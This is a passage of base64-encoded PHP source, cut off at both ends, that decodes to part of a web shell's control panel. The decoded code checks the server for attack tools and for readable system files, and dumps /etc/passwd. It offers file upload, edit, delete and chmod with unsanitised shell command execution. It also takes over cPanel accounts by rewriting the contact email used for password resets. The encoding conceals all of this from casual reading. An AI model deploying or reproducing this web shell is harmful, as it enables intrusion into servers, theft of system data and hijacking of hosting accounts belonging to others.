kpID8gIk9OIiA6ICJPRkYiOw0KICAgICAgICRwZXJsID0gKGMoJ3BlcmwgLS1oZWxwJykpID8gIk9OIiA6ICJPRkYiOw0KICAgICAgICRweXRob24gPSAoYygncHl0aG9uIC0taGVscCcpKSA/ICJPTiIgOiAiT0ZGIjsNCiAgICAgICAkcnVieSA9IChjKCdydWJ5IC0taGVscCcpKSA/ICJPTiIgOiAiT0ZGIjsNCiAgICAgICAkZ2NjID0gKGMoJ2djYyAtLWhlbHAnKSkgPyAiT04iIDogIk9GRiI7DQogICAgICAgJGRpcyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KICAgICAgICRkZnVuYyA9ICghZW1wdHkoJGRpcykpID8gIiRkaXMiIDogIk9GRiI7DQogICAgICAgJG5hbWVkYyA9IChpc19yZWFkYWJsZSgiL2V0Yy9uYW1lZC5jb25mIikpID8gIk9LIiA6ICJCQUQiOw0KICAgICAgICRldGNQYXNzID0gKGlzX3JlYWRhYmxlKCIvZXRjL3Bhc3N3ZCIpKSA/ICJPSyIgOiAiQkFEIjsNCiAgICAgICAkdmFsaWFzZXMgPSAoaXNfcmVhZGFibGUoIi9ldGMvdmFsaWFzZXMiKSkgPyAiT0siIDogIkJBRCI7DQogICAgICAgJHZhck5hbWVkID0gKGlzX3JlYWRhYmxlKCIvdmFyL25hbWVkIikpID8gIk9LIiA6ICJCQUQiOw0KICAgICAgIGVjaG8gIjx0ZXh0YXJlYSBjbGFzcz1cImZvcm0tY29udHJvbFwiIHJvd3M9XCIyMFwiIGRpc2FibGVkPg0KICAgICAgIFN5c3MgOiAiLnBocF91bmFtZSgpLiINCiAgICAgICBVc2VyIDogIi4kR0xPQkFMU1sic2VydmVyIl1bIlVTRVIiXS4iDQogICAgICAgQWRkciA6IFNlcnZlciA6IHskaXB9IHwgQ2xpZW50IDogeyRHTE9CQUxTWyJzZXJ2ZXIiXVsiUkVNT1RFX0FERFIiXX0NCiAgICAgICBTYWZlIDogeyRzYWZlfQ0KICAgICAgIE15c3FsOiB7JG15c3FsfSBjVVJMOiB7JGN1cmx9IHdHZXQ6IHskd2dldH0gUGVybDogeyRwZXJsfSBQeXRob246IHskcHl0aG9ufSBSdWJ5OiB7JHJ1Ynl9IEdjYzogeyRnY2N9DQogICAgICAgUmVhZCA6IE5hbWVkLmNvbmY6IHskbmFtZWRjfSBQYXNzd2Q6IHskZXRjUGFzc30gVmFsaWFzZXM6IHskdmFsaWFzZXN9IE5hbWVkOiB7JHZhck5hbWVkfQ0KICAgICAgIERGVU4gOiB7JGRmdW5jfQ0KICAgICAgIDwvdGV4dGFyZWE+IjsNCiAgICB9DQogICAgZWxzZWlmKGRlYygkdG9lZCkgPT0gInVwbG9hZCIpew0KICAgICAgaWYoJHRpZWRbInVwbG9hZCJdKXsNCiAgICAgICAgaWYoaXNzZXQoJEdMT0JBTFNbImZpbGVzIl1bInRvZF91cGwiXVsibmFtZSJdKSl7DQogICAgICAgICAgJG5hbWUgPSAkR0xPQkFMU1siZmlsZXMiXVsidG9kX3VwbCJdWyJuYW1lIl07DQogICAgICAgICAgJHRvZCA9ICRHTE9CQUxTWyJmaWxlcyJdWyJ0b2RfdXBsIl1bInRtcF9uYW1lIl07DQogICAgICAgICAgaWYoJEdMT0JBTFNbInJpbiJdWzZdKCR0b2QsICRuYW1lKSl7DQogICAgICAgICAgICAkYWN0ID0gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzXCI+PHN0cm9uZz5TdWNjZXNzITwvc3Ryb25nPiBVcGxvYWQgRmlsZSB7JGRpcn0veyRuYW1lfTwvZGl2PiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2V7DQogICAgICAgICAgICAkYWN0ID0gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1kYW5nZXJcIj48c3Ryb25nPkZhaWxlZCE8L3N0cm9uZz4gVXBsb2FkIEZpbGUgeyRuYW1lfTwvZGl2PiI7DQogICAgICAgICAgfQ0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAkYWN0ID0gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1kYW5nZXJcIj48c3Ryb25nPkZhaWxlZCE8L3N0cm9uZz4gVXBsb2FkIEZpbGUgeyRuYW1lfTwvZGl2PiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAkYWN0Ow0KICAgICAgfQ0KICAgICAgZWNobyAiQ3VycmVudCBEaXIgOiAiLiRkaXI7DQogICAgICBlY2hvICINCiAgICAgIDxmb3JtIG1ldGhvZD1cIlBPU1RcIiBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiPg0KICAgICAgPGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cInRvZF91cGxcIj4NCiAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInVwbG9hZFwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSBidG4tYmxvY2tcIj4NCiAgICAgIDwvZm9ybT4NCiAgICAgICI7DQogICAgfQ0KICAgIGVsc2VpZihkZWMoJHRvZWQpID09ICJldGNwYXNzd2QiKXsNCiAgICAgIGVjaG8gIjxwcmU+PHRleHRhcmVhIGNsYXNzPVwiZm9ybS1jb250cm9sXCIgcm93cz1cIjIwXCIgcmVhZG9ubHk+IjsNCiAgICAgIGlmKCR0aWVkWyJldGMiXSA9PSAiY3VybCIpew0KICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZpbGU6Ly8vZXRjL3Bhc3N3ZCIpOw0KICAgICAgICAkb3V0ID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGN1cmxfY2xvc2UoKTsNCiAgICAgICAgZWNobyAkb3V0Ow0KICAgICAgfQ0KICAgICAgZWxzZWlmKCR0aWVkWyJldGMiXSA9PSAiaW5jbHVkZSIpew0KICAgICAgICBlY2hvIGluY2x1ZGUoIi9ldGMvcGFzc3dkZCIpOw0KICAgICAgfQ0KICAgICAgZWNobyAiPC90ZXh0YXJlYT48L3ByZT4iOw0KICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPg0KICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tY29udHJvbFwiIG5hbWU9XCJldGNcIj4NCiAgICAgIDxvcHRpb24gdmFsdWU9XCJjdXJsXCI+Q3VybDwvb3B0aW9uPg0KICAgICAgPG9wdGlvbiB2YWx1ZT1cImluY2x1ZGVcIj5JbmNsdWRlPC9vcHRpb24+DQogICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiPg0KICAgICAgPC9mb3JtPiI7IA0KICAgIH0NCiAgICBlbHNlaWYoZGVjKCR0b2VkKSA9PSAiY3ByZXMiKXsNCiAgICAgIGlmKCRHTE9CQUxTWyJyaW4iXVs5XSgicG9zaXhfZ2V0cHd1aWQiKSl7DQogICAgICAgICRtZWggPSAkR0xPQkFMU1sicmluIl1bN10oJEdMT0JBTFNbInJpbiJdWzhdKF9fRklMRV9fKSk7DQogICAgICB9DQogICAgICBlbHNlew0KICAgICAgICAkbWVoID0gJEdMT0JBTFNbInJpbiJdWzhdKF9fRklMRV9fKTsNCiAgICAgIH0NCiAgICAgIGlmKGlzX2RpcigiL2hvbWUvIi4kbWVoWyJuYW1lIl0uIi8uY3BhbmVsIikpew0KICAgICAgICBlY2hvICINCiAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiPg0KICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIG5hbWU9XCJlbWFpbFwiIHBsYWNlaG9sZGVyPVwiUHV0IFlvdXIgRW1haWwgSGVyZVwiPg0KICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSBidG4tYmxvY2tcIiBuYW1lPVwic3VibVwiIHZhbHVlPVwiUmVzZXRcIj4NCiAgICAgICAgPC9mb3JtPiI7DQogICAgICAgICRtcHMgPSBtYWtlUmVxdWVzdCgkaXAuIi9jcGFuZWwiKTsNCiAgICAgICAgaWYoJHRpZWRbInN1Ym0iXSl7DQogICAgICAgICAgaWYocHJlZ19tYXRjaCgiLz5SZXNldCBQYXNzd29yZC8iLCAkbXBzKSl7DQogICAgICAgICAgICAkZnAgPSAkR0xPQkFMU1sicmluIl1bMl0oIi9ob21lLyIuJG1laFsibmFtZSJdLiIvLmNvbnRhY3RlbWFpbCIpOw0KICAgICAgICAgICAgaWYoJEdMT0JBTFNbInJpbiJdWzNdKCRmcCwgJHRpZWRbImVtYWlsIl0pKXsNCiAgICAgICAgICAgICAgZWNobyAiPGRpdiBjbGFzcz1cImFsZXJ0IGFsZXJ0LXN1Y2Nlc3NcIj48c3Ryb25nPlN1Y2Nlc3MhPC9zdHJvbmc+IENoYW5nZSBFbWFpbCA6IHskaXB9L2NwYW5lbCB7JHRpZWRbImVtYWlsIl19PC9kaXY+IjsNCiAgICAgICAgICAgICAgJEdMT0JBTFNbInJpbiJdWzRdKCIvaG9tZS8iLiRtZWhbIm5hbWUiXS4iLy5jcGFuZWwvY29udGFjdGluZm8iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2V7DQogICAgICAgICAgICAgIGVjaG8gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1kYW5nZXJcIj48c3Ryb25nPkZhaWxlZCE8L3N0cm9uZz4gQ2FuJ3QgUmVzZXQ8L2Rpdj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlew0KICAgICAgICAgICAgZWNobyAiPGRpdiBjbGFzcz1cImFsZXJ0IGFsZXJ0LWRhbmdlclwiPjxzdHJvbmc+RmFpbGVkITwvc3Ryb25nPiBSZXNldCBQYXNzd29yZCBEaXNhYmxlPC9kaXY+IjsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGVsc2V7DQogICAgICAgIGVjaG8gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1kYW5nZXJcIj48c3Ryb25nPkZhaWxlZCE8L3N0cm9uZz4gSXRzIG5vdCBjcGFuZWwgaG9zdDwvZGl2PiI7DQogICAgICB9DQogICAgfQ0KICAgIGVsc2VpZigkYWN0aW9ucyA9PSAiZSIpew0KICAgICAgaWYoJHRpZWRbInNhdmUiXSl7DQogICAgICAgICRzYXZlID0gJEdMT0JBTFNbInJpbiJdWzI2XShkZWMoJGdldHNbImZpbGUiXSksICR0aWVkWyJuZXciXSk7DQogICAgICAgIGlmKCRzYXZlKXsNCiAgICAgICAgICAkYWN0ID0gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzXCI+PHN0cm9uZz5TdWNjZXNzITwvc3Ryb25nPiBTYXZlIEZpbGUgIi5kZWMoJGdldHNbImZpbGUiXSkuIjwvZGl2PiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZXsNCiAgICAgICAgICAkYWN0ID0gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1kYW5nZXJcIj48c3Ryb25nPkZhaWxlZCE8L3N0cm9uZz4gU2F2ZSBGaWxlICIuZGVjKCRnZXRzWyJmaWxlIl0pLiI8L2Rpdj4iOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gJGFjdDsNCiAgICAgIH0NCiAgICAgIGVjaG8gIkZpbGVuYW1lOiAiLiRkaXIuIi8iLmJhc2VuYW1lKGRlYygkZ2V0c1siZmlsZSJdKSk7DQogICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+DQogICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMjBcIiBuYW1lPVwibmV3XCI+Ii5odG1sc3BlY2lhbGNoYXJzKEBmaWxlX2dldF9jb250ZW50cyhkZWMoJGdldHNbImZpbGUiXSkpKS4iPC90ZXh0YXJlYT4NCiAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJTYXZlXCIgbmFtZT1cInNhdmVcIj4NCiAgICAgIDwvZm9ybT4iOw0KICAgIH0NCiAgICBlbHNlaWYoJGFjdGlvbnMgPT0gInYiKXsNCiAgICAgIGVjaG8gIkZpbGVuYW1lOiAiLiRkaXIuIi8iLmJhc2VuYW1lKGRlYygkZ2V0c1siZmlsZSJdKSk7DQogICAgICBlY2hvICI8cHJlPjx0ZXh0YXJlYSByb3dzPVwiMjBcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGRpc2FibGVkPiIuaHRtbHNwZWNpYWxjaGFycyhAZmlsZV9nZXRfY29udGVudHMoZGVjKCRnZXRzWyJmaWxlIl0pKSkuIjwvdGV4dGFyZWE+PC9wcmU+IjsNCiAgICB9DQogICAgZWxzZWlmKCRhY3Rpb25zID09ICJyIil7DQogICAgICBpZigkdGllZFsiYWN0X3JlbmFtZSJdKXsNCiAgICAgICAgJHJlbmFtZSA9IHJlbmFtZShkZWMoJGdldHNbImZpbGUiXSksICIkZGlyLyIuaHRtbHNwZWNpYWxjaGFycygkdGllZFsicmVuYW1lIl0pKTsNCiAgICAgICAgaWYoJHJlbmFtZSl7DQogICAgICAgICAgJGFjdCA9ICI8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtc3VjY2Vzc1wiPjxzdHJvbmc+U3VjY2VzcyE8L3N0cm9uZz4gUmVuYW1lIEZpbGUgIi5kZWMoJGdldHNbImZpbGUiXSkuIjwvZGl2PiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZXsNCiAgICAgICAgICAkYWN0ID0gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1kYW5nZXJcIj48c3Ryb25nPkZhaWxlZCE8L3N0cm9uZz4gUmVuYW1lIEZpbGUgIi5kZWMoJGdldHNbImZpbGUiXSkuIjwvZGl2PiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAkYWN0Ow0KICAgICAgfQ0KICAgICAgZWNobyAiRmlsZW5hbWU6ICIuJGRpci4iLyIuYmFzZW5hbWUoZGVjKCRnZXRzWyJmaWxlIl0pKTsNCiAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cInBvc3RcIj4NCiAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIHZhbHVlPVwiIi5iYXNlbmFtZShkZWMoJGdldHNbImZpbGUiXSkpLiJcIiBuYW1lPVwicmVuYW1lXCI+DQogICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJhY3RfcmVuYW1lXCIgdmFsdWU9XCJSZW5hbWVcIj4NCiAgICAgIDwvZm9ybT4iOw0KICAgIH0NCiAgICBlbHNlaWYoJGFjdGlvbnMgPT0gImRyIil7DQogICAgICBpZigkdGllZFsiYWN0X3JlbmFtZSJdKXsNCiAgICAgICAgaWYocmVuYW1lKCRkaXIsICIiLmRpcm5hbWUoJGRpcikuIi8iLmh0bWxzcGVjaWFsY2hhcnMoJHRpZWRbIm5ldyJdKSkpew0KICAgICAgICAgICRhY3QgPSAiPGRpdiBjbGFzcz1cImFsZXJ0IGFsZXJ0LXN1Y2Nlc3NcIj48c3Ryb25nPlN1Y2Nlc3MhPC9zdHJvbmc+IFJlbmFtZSBEaXIgIi5iYXNlbmFtZSgkZGlyKS4iPC9kaXY+IjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlew0KICAgICAgICAgICRhY3QgPSAiPGRpdiBjbGFzcz1cImFsZXJ0IGFsZXJ0LWRhbmdlclwiPjxzdHJvbmc+RmFpbGVkITwvc3Ryb25nPiBSZW5hbWUgRGlyICIuYmFzZW5hbWUoJGRpcikuIjwvZGl2PiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAkYWN0Ow0KICAgICAgfQ0KICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPg0KICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgdmFsdWU9XCIiLmJhc2VuYW1lKCRkaXIpLiJcIiBuYW1lPVwibmV3XCI+DQogICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJhY3RfcmVuYW1lXCIgdmFsdWU9XCJSZW5hbWVcIj4NCiAgICAgIDwvZm9ybT4iOw0KICAgIH0NCiAgICBlbHNlaWYoJGFjdGlvbnMgPT0gIm5mIil7DQogICAgICBpZigkdGllZFsic3VibSJdKXsNCiAgICAgICAgJG5ldyA9IGh0bWxzcGVjaWFsY2hhcnMoJHRpZWRbImNvbnRlbnQiXSk7DQogICAgICAgICRvcGVuID0gJEdMT0JBTFNbInJpbiJdWzJdKCR0aWVkWyJmaWxlIl0sICJhKyIpOw0KICAgICAgICBpZigkR0xPQkFMU1sicmluIl1bM10oJG9wZW4sICRuZXcpKXsNCiAgICAgICAgICAkYWN0ID0gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzXCI+PHN0cm9uZz5TdWNjZXNzITwvc3Ryb25nPiBDcmVhdGVkIEZpbGUgeyR0aWVkWyJmaWxlIl19PC9kaXY+IjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlew0KICAgICAgICAgICRhY3QgPSAiPGRpdiBjbGFzcz1cImFsZXJ0IGFsZXJ0LWRhbmdlclwiPjxzdHJvbmc+RmFpbGVkITwvc3Ryb25nPiBDYW4ndCBDcmVhdCBGaWxlIHskdGllZFsiZmlsZSJdfTwvZGl2PiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAkYWN0Ow0KICAgICAgfQ0KICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPg0KICAgICAgPHRleHRhcmVhIG5hbWU9XCJjb250ZW50XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMjBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoQGZpbGVfZ2V0X2NvbnRlbnRzKCR0aWVkWyJmaWxlIl0pKS4iPC90ZXh0YXJlYT4NCiAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIGNsYXNzPVwiZm9ybS1jb250cm9sXCIgbmFtZT1cImZpbGVcIiBwbGFjZWhvbGRlcj1cImZpbGVuYW1lXCI+DQogICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtXCIgdmFsdWU9XCJHYXNzIVwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSBidG4tYmxvY2tcIj4NCiAgICAgIDwvZm9ybT4iOw0KICAgIH0NCiAgICBlbHNlaWYoJGFjdGlvbnMgPT0gIm5kIil7DQogICAgICBpZigkdGllZFsic3VibSJdKXsNCiAgICAgICAgaWYoJEdMT0JBTFNbInJpbiJdWzMwXSgkZGlyLiIvIi5odG1sc3BlY2lhbGNoYXJzKCR0aWVkWyJmb2xkZXIiXSkpKXsNCiAgICAgICAgICAkYWN0ID0gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzXCI+PHN0cm9uZz5TdWNjZXNzITwvc3Ryb25nPiBDcmVhdGUgRm9sZGVyIHskdGllZFsiZm9sZGVyIl19PC9kaXY+IjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlew0KICAgICAgICAgICRhY3QgPSAiPGRpdiBjbGFzcz1cImFsZXJ0IGFsZXJ0LWRhbmdlclwiPjxzdHJvbmc+RmFpbGVkITwvc3Ryb25nPiBDcmVhdGUgRm9sZGVyIHskdGllZFsiZm9sZGVyIl19PC9kaXY+IjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICRhY3Q7DQogICAgICB9DQogICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+DQogICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIG5hbWU9XCJmb2xkZXJcIiBwbGFjZWhvbGRlcj1cIlJpbnRvZFwiPg0KICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibVwiIHZhbHVlPVwiR2FzcyFcIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1zZWNvbmRhcnkgYnRuLWJsb2NrXCI+DQogICAgICA8L2Zvcm0+IjsNCiAgICB9DQogICAgZWxzZWlmKCRhY3Rpb25zID09ICJjaG1vZCIpew0KICAgICAgaWYoJHRpZWRbImFjdF9jaCJdKXsNCiAgICAgICAgJGhhaGEgPSAoYygiY2htb2QgIi4kdGllZFsiY2giXS4iICIuJHRpZWRbIm1vZCJdLiI7ZWNobyBzdWNjZXNzIikpID8gIjxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzXCI+PHN0cm9uZz5TdWNjZXNzITwvc3Ryb25nPiBDaG1vZDwvZGl2PiIgOiAiPGRpdiBjbGFzcz1cImFsZXJ0IGFsZXJ0LWRhbmdlclwiPjxzdHJvbmc+RmFpbGVkITwvc3Ryb25nPiBDaG1vZDwvZGl2PiI7DQogICAgICAgIGVjaG8gJGhhaGE7DQogICAgICB9DQogICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+DQogICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiY2hcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiZmlsZVwiPg0KICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1vZFwiIGNsYXNzPVwiZm9ybS1jb250cm9sXCIgcGxhY2Vob2xkZXI9XCIwNzc3XCI+DQogICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJhY3RfY2hcIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1zZWNvbmRhcnkgYnRuLWJsb2NrXCI+DQogICAgICA8L2Zvcm0+IjsNCiAgICB9DQogICAgZWxzZWlmKCRhY3Rpb25zID09ICJkZWxldGUiKXsNCiAgICAgIGlmKCRHTE9CQUxTWyJyaW4iXVs0XShkZWMoJGdldHNbImZpbGUiXSkpKXsNCiAgICAgICAgJGFjdCA9ICI8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtc3VjY2Vzc1wiPjxzdHJvbmc+U3VjY2VzcyE8L3N0cm9uZz4gRGVsZXRlZCBGaWxlICIuZGVjKCRnZXRzWyJmaWxlIl0pLiI8L2Rpdj4iOw0KICAgICAgfQ0KICAgICAgZWxzZXsNCiAgICAgICAgJGFjdCA9ICI8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyXCI+PHN0cm9uZz5GYWlsZWQhPC9zdHJvbmc+IERlbGV0ZWQgRmlsZSAiLmRlYygkZ2V0c1siZmlsZSJdKS4iPC9kaXY+IjsNCiAgICAgIH0NCiAgICAgIGVjaG8gJGFjdDsNCiAgICB9DQoNCiAgICAvLy8vIEZJTEVNQU5BR0VSIDpEDQogICAgZWxzZXsNCiAgICAgICRzY2RpciA9IGV4cGxvZGUoIi8iLCAkZGlyKTsNCiAgICAgIGVjaG8gIlBBVEggOiAiOw0KICAgICAgZm9yZWFjaCgkc2NkaXIgYXMgJGNfZGlyID0+ICRjZGlyKXsNCiAgICAgICAgZWNobyAiPGEgY2xhc3M9XCJ0b2RcIiBocmVmPVwiP3A9IjsNCiAgICAgICAgZm9yICgkaSA9IDA7JGkgPD0gICRjX2RpcjsgJGkrKyl7DQogICAgICAgICAgZWNobyBlbmMoJHNjZGlyWyRpXSk7DQogICAgICAgICAgaWYoJGkgIT0gJHNjZGlyKXsNCiAgICAgICAgICAgIGVjaG8gIjJmIjsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiXCI+JGNkaXI8L2E+LyI7DQogICAgICB9DQogICAgICBlY2hvICI8YnI+DQogICAgICA8YSBjbGFzcz1cInRvZFwiIGhyZWY9XCI/cD0iLmVuYygkZGlyKS4iJmFjdD1uZlwiPisgTmV3IEZpbGUgKzwvYT4NCiAgICAgICB8IDxhIGNsYXNzPVwidG9kXCIgaHJlZj1cIj9wPSIuZW5jKCRkaXIpLiImYWN0PW5kXCI+KyBOZXcgRm9sZGVyICs8L2E+DQogICAgICAiOw0KICAgICAgZWNobyAiPGJyPiI7DQogICAgICAkZHIgPSBzY2FuZGlyKCRkaXIpOw0KICAgICAgaWYoaXNfZGlyKCRkaXIpID09PSB0cnVlKXsNCiAgICAgICAgaWYoIWlzX3JlYWRhYmxlKCRkaXIpKXsNCiAgICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyXCI+PHN0cm9uZz5GYWlsZWQhPC9zdHJvbmc+IENvdWxkIG5vdCBvcGVuIGRpcmVjdG9yeTwvZGl2PiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZXsNCiAgICAgICAgICBlY2hvICINCiAgICAgICAgICA8dGFibGUgY2xhc3M9XCJ0YWJsZVwiPg0KICAgICAgICAgIDx0aGVhZD4NCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRoIHNjb3BlPVwiY29sXCI+PGNlbnRlcj4jIE5hbWUgIzwvY2VudGVyPjwvdGg+DQogICAgICAgICAgPHRoIHNjb3BlPVwiY29sXCI+PGNlbnRlcj4jIFNpemUgIzwvY2VudGVyPjwvdGg+DQogICAgICAgICAgPHRoIHNjb3BlPVwiY29sXCI+PGNlbnRlcj4jIFBlcm0gIzwvY2VudGVyPjwvdGg+DQogICAgICAgICAgPHRoIHNjb3BlPVwiY29sXCI+PGNlbnRlcj4jIEFjdG4gIzwvY2VudGVyPjwvdGg+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8L3RoZWFkPg0KICAgICAgICAgIDx0Ym9keT4iOw0KICAgICAgICAgIGZvcmVhY2goJGRyIGFzICRwYXRoKXsNCiAgICAgICAgICAgIGlmKCRHTE9CQUxTWyJyaW4iXVs5XSgicG9zaXhfZ2V0cHd1aWQiKSl7DQogICAgICAgICAgICAgICRvd24gPSAkR0xPQkFMU1sicmluIl1bN10oJEdMT0JBTFNbInJpbiJdWzhdKCIkZGlyLyRwYXRoIikpOw0KICAgICAgICAgICAgICAkb3duID0gJG93blsibmFtZSJdOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICRvd24gPSAkR0xPQkFMU1sicmluIl1bOF0oIiRkaXIvJHBhdGgiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKCFpc19kaXIoIiRkaXIvJHBhdGgiKSkgY29udGludWU7DQogICAgICAgICAgICBpZigoJHBhdGggIT0gIi4iKSAmJiAoJHBhdGggIT0gIi4uIikpew0KICAgICAgICAgICAgICBlY2hvICINCiAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICA8dGQgc2NvcGU9XCJyb3dcIj48aW1nIHNyYz1cImh0dHBzOi8vY2RuMC5pY29uZmluZGVyLmNvbS9kYXRhL2ljb25zL2ljb25pY28tMy8xMDI0LzYzLnBuZ1wiIHdpZHRoPVwiMzBcIiBoZWlnaHQ9XCIzMFwiPjxhIGNsYXNzPVwidG9kXCIgaHJlZj1cIj9wPSIuZW5jKCIkZGlyLyRwYXRoIikuIlwiPiRwYXRoPC9hPjwvdGQ+DQogICAgICAgICAgICAgIDx0ZD48Y2VudGVyPi08L2NlbnRlcj48L3RkPg0KICAgICAgICAgICAgICA8dGQ+PGNlbnRlcj4iLndyaXRBYmxlKCIkZGlyLyRwYXRoIiwgcGVybXMoIiRkaXIvJHBhdGgiKSkuIjwvY2VudGVyPjwvdGQ+DQogICAgICAgICAgICAgIDx0ZD48Y2VudGVyPjxhIGNsYXNzPVwidG9kXCIgaHJlZj1cIj9wPSIuZW5jKCRkaXIuIi8iLiRwYXRoKS4iJmFjdD1kclwiPlI8L2E+IHwgPGEgY2xhc3M9XCJ0b2RcIiBocmVmPVwiP3A9Ii5lbmMoJGRpci4iLyIuJHBhdGgpLiImYWN0PWNobW9kXCI+QzwvYT48L2NlbnRlcj48L3RkPg0KICAgICAgICAgICAgICA8L3RyPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBlbHNlew0KICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyXCI+PHN0cm9uZz5GYWlsZWQhPC9zdHJvbmc+IENvdWxkIG5vdCBvcGVuIGRpcmVjdG9yeTwvZGl2PiI7DQogICAgICB9DQogICAgICBmb3JlYWNoKCRkciBhcyAkZmwpew0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkZGlyLyRmbCIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRHTE9CQUxTWyJyaW4iXVs5XSgicG9zaXhfZ2V0cHd1aWQiKSl7DQogICAgICAgICAgJG93biA9ICRHTE9CQUxTWyJyaW4iXVs3XSgkR0xPQkFMU1sicmluIl1bOF0oIiRkaXIvJHBhdGgiKSk7DQogICAgICAgICAgJG93biA9ICRvd25bIm5hbWUiXTsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgJG93biA9ICRHTE9CQUxTWyJyaW4iXVs4XSgiJGRpci8kcGF0aCIpOw0KICAgICAgICB9DQogICAgICAgIGlmKCFpc19maWxlKCIkZGlyLyRmb